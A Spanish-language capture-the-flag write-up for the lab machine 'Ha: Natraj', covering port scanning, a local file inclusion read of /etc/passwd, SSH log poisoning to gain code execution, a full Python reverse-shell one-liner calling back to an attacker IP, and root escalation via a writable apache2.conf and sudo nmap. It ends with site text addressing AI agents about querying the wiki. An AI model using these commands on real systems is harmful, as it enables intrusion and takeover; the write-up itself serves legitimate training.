# Ha-Natraj

### Enumeración #### NMAP Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima. ``` nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.87.80 ```

Están abiertos los puertos 22 y 80. A continuación, realizamos un escaneo más riguroso de estos puertos abiertos. ``` nmap -p22,80 -sVC -vv 192.168.87.80 -oN targeted ```

Existen 2 puertos abiertos en el equipo target. * Puerto 22 -> SSH -> OpenSSH 7.6 * Puerto 80 -> HTTP -> Apache httpd 2.4.29 #### Enumeración Web Comenzamos visitando el servicio Web, donde hemos encontrado imagenes e información sobre el Natraj, vamos a comprobar el código fuente y el archivo robots.txt, donde no hay nada útil.

Vamos a continuar realizando una enumeración de directorios con la herramienta dirsearch. ``` dirsearch -u "http://192.168.87.80" -i200,301 -r ```

Hemos encontrado un directorio llamado /console que contiene un archivo llamado file.php. Si lo ejecutamos, no hace nada. Probablemente tengamos que añadir algo más.

Vamos a utilizar el nombre de archivo en una variable "GET" para intentar hacer una prueba de concepto que nos permita verificar si el sitio era vulnerable a la inclusión de archivos locales (LFI). ``` curl http://192.168.87.80/console/file.php?file=/etc/passwd ```

Encontramos los nombres de usuario natraj y mahakal. Es vulnerable a LFI. ### Explotación Probamos varias opciones de enumeración, entre ellas la enumeración de archivos a los que podemos acceder. Para ello, vamos a utilizar la herramienta Intruder de Burp. Después de unos instantes, obtenemos un resultado que puede ser interesante. Podemos acceder al archiv /var/log/auth.log

Sabiendo esto, vamos a intentar realizar un ataque de envenenamiento de logs a través de SSH. El envenenamiento de logs es una técnica que podemos utilizar para obtener un shell inverso en un servidor. Para realizar este ataque comenzamos enviando código malicioso PHP a través del uso de SSH para que este sea registrado en el archivo auth.log.

Comprobamos si la inyección maliciosa ha sido exitosa.

Ya podemos ejecutar comandos en la máquina objetivo (RCE). Vamos a ejecutar una shell inversa en la máquina objetivo y a colocar un oyente con netcat en el puerto 80. La shell utilizada es la siguiente: ``` python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.90",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' ```

Si utilizamos Burp, debemos codificar la shell como URL para que funcione. Si utilizamos el navegador para enviar la shell, se puede colocar directamente.

Hacemos la terminal genera más interactiva de la siguiente manera: ``` python3 -c 'import pty;pty.spawn("/bin/bash");' ```

Ya tenemos acceso a la máquina objetivo. Comprobamos si podemos ejecutar sudo y enumeramos los binarios SUID. ``` sudo -l ```

Podemos ejecutar comandos relacionados con el servidor Apache. Vamos a buscar binarios con el flag SUID activo que podaos utilizar para elevar privilegios. ``` find / -perm -4000 2>/dev/null ```

No hay nada interesante. Vamos a buscar todos los archivos de escritura en el directorio.

Encontramos un archivo interesante, apache2.conf, que tiene permiso completo de lectura y escritura para cualquier usuario y grupo. ### Escalada de privilegios Para escalar privilegios a otros usuarios cambiando el nombre de usuario y grupo de apache2.conf. El primer paso será agregar el nombre de usuario y nombre de grupo. Para ello descargamos el fichero en nuestra máquina de ataque. Creamos un servidor HTTP con Python en la máquina víctima.

Y en la máquina de ataque ejecutamos.

Ahora realizamos en este archivo las modificaciones comentadas anteriormente.

Ahora para volver a subir el archivo a la máquina objetivo volvemos a levantar un servidor HTTP con Python pero ahora el servidor lo levantamos en la máquina de ataque. El archivo debemos colocarlo en el directorio /tmp y desde aquí lo copiamos a /etc/apache2/.

Enviando el archivo apache2.conf modificado al objetivo

Una vez hemos transferido el archivo apache2.conf, procedemos a reiniciar el servidor Apache.

Después de un instante que necesita el servicio para reiniciar, volvemos a lanzar la shell inversa en el puerto 80 de la misma forma que lo hicimos anteriormente. Y volvemos a tener conexión con el objetivo.

Ahora tenemos conexión en el objetivo como usuario "mahakal". Volvemos a realizar distintas enumeraciones para ver como podemos elevar privilegios.

El usuario "mahakal" puede ejecutar el comando nmap como usuario root. Vamos a determinar si podemos utilziar esto para escalar a usuario "root". Para ello, consultamos ["GTFOBins"](https://gtfobins.github.io/gtfobins/nmap/#sudo)

Solo queda buscar ambas flags para completar el CTF Ha: Natraj.

Flag local.txt (usuario bajos privilegios)

{% embed url="" %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/ha-natraj.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.